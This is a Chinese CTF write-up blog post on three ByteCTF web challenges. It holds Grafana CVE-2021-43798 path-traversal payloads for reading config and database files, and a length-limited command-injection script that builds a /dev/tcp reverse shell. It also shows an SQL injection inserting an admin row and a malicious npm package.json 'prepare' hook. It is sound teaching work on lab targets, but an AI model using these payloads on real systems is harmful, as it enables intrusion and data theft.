这次bytectf感觉不是特别坐牢,至少对一些题目有了一些思路,这也算是一种进步吧,最后我们的排名还不错,这更值得高兴了(啊,我的周边)
easy_grafana 第二次见到grafana了,这一次的貌似比上一次的star ctf的grafana的题目要简单一点
版本是v8.2.6
看一下还有没有cve?
有的,Grafana 8.2.6依然还是受 CVE-2021-43798 的影响
甩个链接:https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
https://cloud.tencent.com/developer/article/1973276
主要的漏洞是任意文件读取敏感信息(文件)的漏洞,当然重点应该是一些配置文件
根据上面的文章,可以先读取grafana.ini
1 /public/plugins/bargauge/#/../../../../../../../../../../../../../../etc/grafana/grafana.ini
获取grafana的secret_key SW2YcwTIb9zpO1hoPsMm
再读取数据库grafana.db
文件
1 /public/plugins/bargauge/#/../../../../../../../../../../../../../../var/lib/grafana/grafana.db
获取数据源密文 b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/
这里有个比较好用的工具GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability
解出其中的plaintext即为flag
这里注意一个问题:在路径的拼接当中,有可能需要多几个../
不然可能是404(可以不对其进行urlencode),同时,#
是不能少的(在这道配置了openresty反向代理的题目环境当中,这和绕过限制相关)
https://xz.aliyun.com/t/4577
typing_game 这道题我和两个学长一起做出来的,花了不少时间
查看源码的关键部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 app.get ("/status" ,function (req,res,next ){ var cmd= req.query .cmd ? req.query .cmd :"ps" var rip = req.header ('X-Real-IP' )?req.header ('X-Real-IP' ):req.ip if (cmd.length > 4 || !ip.isPrivate (rip)) return res.send ("hacker!!!" ) const result = child_process.spawnSync (cmd,{shell :true }); out = result.stdout .toString (); res.send (out) }) app.get ('/report' , async function (req, res ){ const url = req.query .url ; var rip = req.header ('X-Real-IP' )?req.header ('X-Real-IP' ):req.ip if (ipsList.has (rip) && ipsList.get (rip)+30 > now ()){ return res.send (`Please comeback ${ipsList.get(rip)+30 -now()} s later!` ); } ipsList.set (rip,now ()); const browser = await puppeteer.launch ({headless : true ,executablePath : '/usr/bin/google-chrome' ,args : ['--no-sandbox' , '--disable-gpu' ,'--ignore-certificate-errors' ,'--ignore-certificate-errors-spki-list' ]}); const page = await browser.newPage (); try { await page.goto (url,{ timeout : 10000 }); await new Promise (resolve => setTimeout (resolve, 10e3 )); } catch (e){ } await page.close (); await browser.close (); res.send ("OK" ); });
/status
下可以执行 shell 指令,但是限制指令长度不超过 4
/report
下可以让 pupperteer 去访问某个 url
默认访问/status
回显hacker,一开始想的是修改X-Real-IP
的值为127.0.0.1
满足ip.isPrivate
的条件,但是发现不行,我去查了一下nodejs的ip包的属性,结果发现127.0.0.1
是满足ip.isPrivate
的,猜测可能是要利用pupperteer去访问/status
路由(这里的pupperteer应该是配置了反向代理)然后以此种方式来执行命令/report?url=http://127.0.0.1:13002/status?cmd=ls
在本地测试了一下(本地无代理配置),是可以行的通的,但是这里有cmd.length <= 4
的限制条件
如果是绕过执行命令的话,那应该可以想个方法把回显结果带到自己的服务器上,这里采用的思路是反弹shell
有2个长度绕过上的坑点:1.长度如果传入的cmd参数是个数组是可以绕过长度限制的,但是命令也不会被执行了
2.绕过长度是可以传入object对象的,但是应该是因为req.query
存在,导致参数值被转义为字符串了,实际的返回值是这个参数的字符长度
最后我们得出了一个结论:应该多次向一个文件里面一点一点写入命令,然后再执行这个文件。
参考HitconCTF2017 BabyFirst Revenge v2的exp
https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge-v2
HITCON CTF 2017 BabyFirst Revenge and v2 writeup | 闲言语 (ret2neo.cn)
考点是限制命令长度的绕过,这里有一些文章,可供参考
挖洞经验 | 命令注入突破长度限制_ProjectDer的博客-CSDN博客
命令注入突破长度限制 | 从CTF题目讲起_纸房子的博客-CSDN博客
其中,exp当中的ls -th
命令为以更好的可视化方式,同时以时间的顺序来列举文件名(顺序是先进后出)
这个命令需要做一些翻转的处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requestsfrom time import sleepbaseurl = "https://d2e72456fb6ca16c13a56bfadc29c769.2022.capturetheflag.fun/report?url=localhost:13002/status?cmd=" s = requests.session() list1 = [ 'rm *' , '>dir' , '>sl' , '>g\>' , '>ht-' , '*>v' , '>rev' , '*v>x' , ] list2 = [ ">sh" , ">ba\\" , ">\|\\" , ">x\\" , ">x\\" , ">:8\\" , ">x\\" , ">x\\" , ">x.\\" , ">x\\" , ">x.\\" , ">x\\" , ">x.\\" , ">x\\" , ">\ \\" , ">rl\\" , ">cu\\" , ] for i in list1: url = baseurl + str (i) res = s.get(url) print (res.text) sleep(35 ) fot j in list2: url = baseurl + str (j) res = s.get(url) print (res.text) sleep(35 ) s.get(basurl+"sh x" ) sleep(35 ) print ("Get it" )s.get(baseurl+"sh g" ) sleep(35 ) print ("Done" )
在服务器python3 -m http.server 8888
起一个server并且放一个内容为sh -i >& /dev/tcp/xx.xxx.xxx.xxx/7777 0>&1
的exp,开启端口监听弹等shell弹过来就行
但是由于/report
的时间限制,每一次的命令执行完毕到反弹shell前后需要20分钟左右的时间,而且每打完一次,由于rm *
的存在导致文件都被删了,靶机的容器环境是需要重新开启的,我想,这道题应该有更优解
反弹完shell之后,发现没有flag的相关文件,猜测flag在环境变量当中
ctf_cloud 给了源码,先从源码分析
一开始的界面是一个登录界面,尝试注册admin发现该用户已经存在了
从源码当中找到/login
和/signup
的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 router.post ('/signin' , function (req, res, next ) { var username = req.body .username ; var password = req.body .password ; if (username == '' || password == '' ) return res.json ({"code" : -1 , "message" : "Please input username and password." }); if (!passwordCheck (password)) return res.json ({"code" : -1 , "message" : "Password is not valid." }); db.get ("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?" , [username, password], function (err, row ) { if (err) { console .log (err); return res.json ({"code" : -1 , "message" : "Error executing SQL query" }); } if (!row) { return res.json ({"code" : -1 , "msg" : "Username or password is incorrect" }); } req.session .is_login = 1 ; if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1 ) { req.session .is_admin = 1 ; } return res.json ({"code" : 0 , "message" : "Login successful" }); }); }); router.post ('/signup' , function (req, res, next ) { var username = req.body .username ; var password = req.body .password ; if (username == '' || password == '' ) return res.json ({"code" : -1 , "message" : "Please input username and password." }); db.get ("SELECT * FROM users WHERE NAME = ?" , [username], function (err, row ) { if (err) { console .log (err); return res.json ({"code" : -1 , "message" : "Error executing SQL query" }); } if (row) { console .log (row) return res.json ({"code" : -1 , "message" : "Username already exists" }); } else { var randomPassword = stringRandom (100 ); db.run (`UPDATE users SET PASSWORD = '${randomPassword} ' WHERE NAME = 'admin'` , ()=> {}); var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password} ', 0)` ; db.run (sql, [username], function (err ) { if (err) { console .log (err); return res.json ({"code" : -1 , "message" : "Error executing SQL query " + sql}); } return res.json ({"code" : 0 , "message" : "Sign up successful" }); }); } }); });
同时还找到了黑名单
1 2 3 4 5 6 7 8 9 10 11 12 var passwordCheck = function (password ) { var blacklist = ['>' , '<' , '=' , '"' , ";" , '^' , '|' , '&' , ' ' , 'and' , 'or' , 'case' , 'if' , 'substr' , 'like' , 'glob' , 'regexp' , 'mid' , 'trim' , 'right' , 'left' , 'between' , 'in' , 'print' , 'format' , 'password' , 'users' , 'from' , 'random' ]; for (var i = 0 ; i < blacklist.length ; i++) { if (password.indexOf (blacklist[i]) !== -1 ) { return false ; } } return true ; } module .exports = passwordCheck;
该passwordCheck
被应用到了/login
的password表单数据当中,经过尝试,虽然可以大小写混合绕过检查,但是它会报一个undefind
的错误(可能是我浏览器的问题)
在/login
路由当中,普通的注入不能使得结果有所回显(其他的语句部分也不能回显),从db.sql
和Dockerfile
当中可知字段名的值
一开始先考虑一些常用的注入方法,首先应该是排除报错盲注,因为代码当中会对err数据进行捕获,应该是不会将报错的常规回显数据显示给你看的。同时时间盲注和布尔盲注的话,由于过滤条件较为苛刻,所以可以考虑一些更加简单巧妙的方法(时间盲注的话sqlite没有sleep函数,有一个可以延时的函数randomblob(N)
因为有random的过滤所以也不能用了,布尔盲注的话,选取字符的substr不能用了,水平有限,可以想想别的方法)
之后的想法是利用堆叠注入来修改管理员的密码,比如', 0);UPDATE users SET PASSWORD = '123' WHERE NAME = 'admin';#
但是这个黑名单把in给ban掉了,这下这整条语句都被废掉了,此外,理论上分析来看,db.run
应该是不能一次执行多条语句的,类似于db.exec
的语句应该才可以
去翻了一下update语句的资料,发现需要指定where关键词的字段名的值,所以无论是否可以堆叠,上面的语句确实是废掉了
1 var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password} ', 0)` ;
这里每次signup都会先重置管理员password然后执行sql语句
看了一下注册的sql执行语句,发现是可以插入多行数据的(注意sqlite数据库的注释符)
1 e9901', 0), ('admin', 'e99nb', 1);---
这样admin密码的随机值就被覆盖(或是叠加)为我们想要的值了(是因为在sql.db
文件当中看到NAME字段是没有设定unique属性的,所以可以不唯一)
以admin的身份登录进去
面板(dashboard)有好几个功能:重置配置,上传配置,然后设置配置文件,最后编译(该功能需要管理员的权限,应该是最为关键的地方,比如以此来执行一些rce)
这里应该是通过配置来执行命令,从源码当中的信息可以得出应该上传json文件作为npm的package
那先重置一下配置
然后是上传配置,存在对路径的限制和上传的路径设置
1 2 3 4 5 6 if (file.originalname .indexOf ('..' ) !== -1 || file.originalname .indexOf ('/' ) !== -1 ) { return res.json ({"code" : -1 , "message" : "File name is not valid." }); } var filePath = path.join (appPath, '/public/uploads/' , file.originalname );
上传json的时候可以考虑构造一个带有恶意命令的package文件
1 2 3 4 5 6 7 8 9 10 11 12 13 { "name" : "pkg" , "version" : "1.0.0" , "description" : "" , "main" : "index.js" , "scripts" : { "test" : "echo \"Error: no test specified\" && exit 1" , "prepare" : "cat /flag / > /usr/local/app/public/c.txt" } , "keywords" : [ ] , "author" : "" , "license" : "ISC" }
这里的prepare
字段为我们执行npm编译的时候所执行的命令
摘自https://www.ruanyifeng.com/blog/2016/10/npm_scripts.html
考虑到容器是不出网的,所以就不弹shell了,同时可以写到app的当前目录下
不过,发现前端的文件上传出了点问题(就是以post的方式传文件但是失败了)可以用脚本来传一个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsdef uploadFile (url,file,filename="" ,contentType="text/plain" ): if filename == "" : filename = os.path.basename(file) fp = open (file,"rb" ) data = { "file" :(filename,fp,contentType) } headers = { "Cookie" :"connect.sid=s%3Am0Zfl_vBiPyXkx7O70oEQ7Hif4QVIBj7.bwhOXvRVfdrhzPvu93N92YGfYKp8cFMMNxacLyE05XM" } res = requests.post(url,files=data,headers=headers) fp.close() return res if __name__ == "__main__" : res = uploadFile("https://e8df69037d7c1017e8169ef76b9bb822.2022.capturetheflag.fun/dashboard/upload" ,"package.json" ,"package.json" ) print (res.status_code,res.text)
接下来是设置配置(对应源码的dependencies
字段)
1 { "dependencies" : { "pkg" : "file:./public/uploads" } }
需要设置数据的类型为json数据类型
上传之后指定依赖文件(注意需要以json的post传参方法),然后编译,去访问/usr/local/app/public/c.txt
看看能不能得到flag
尴尬,最后的编译过程怎么失败了,先这样吧……
后面还有一些题目,我之后再复现复现,贴到下一篇博客吧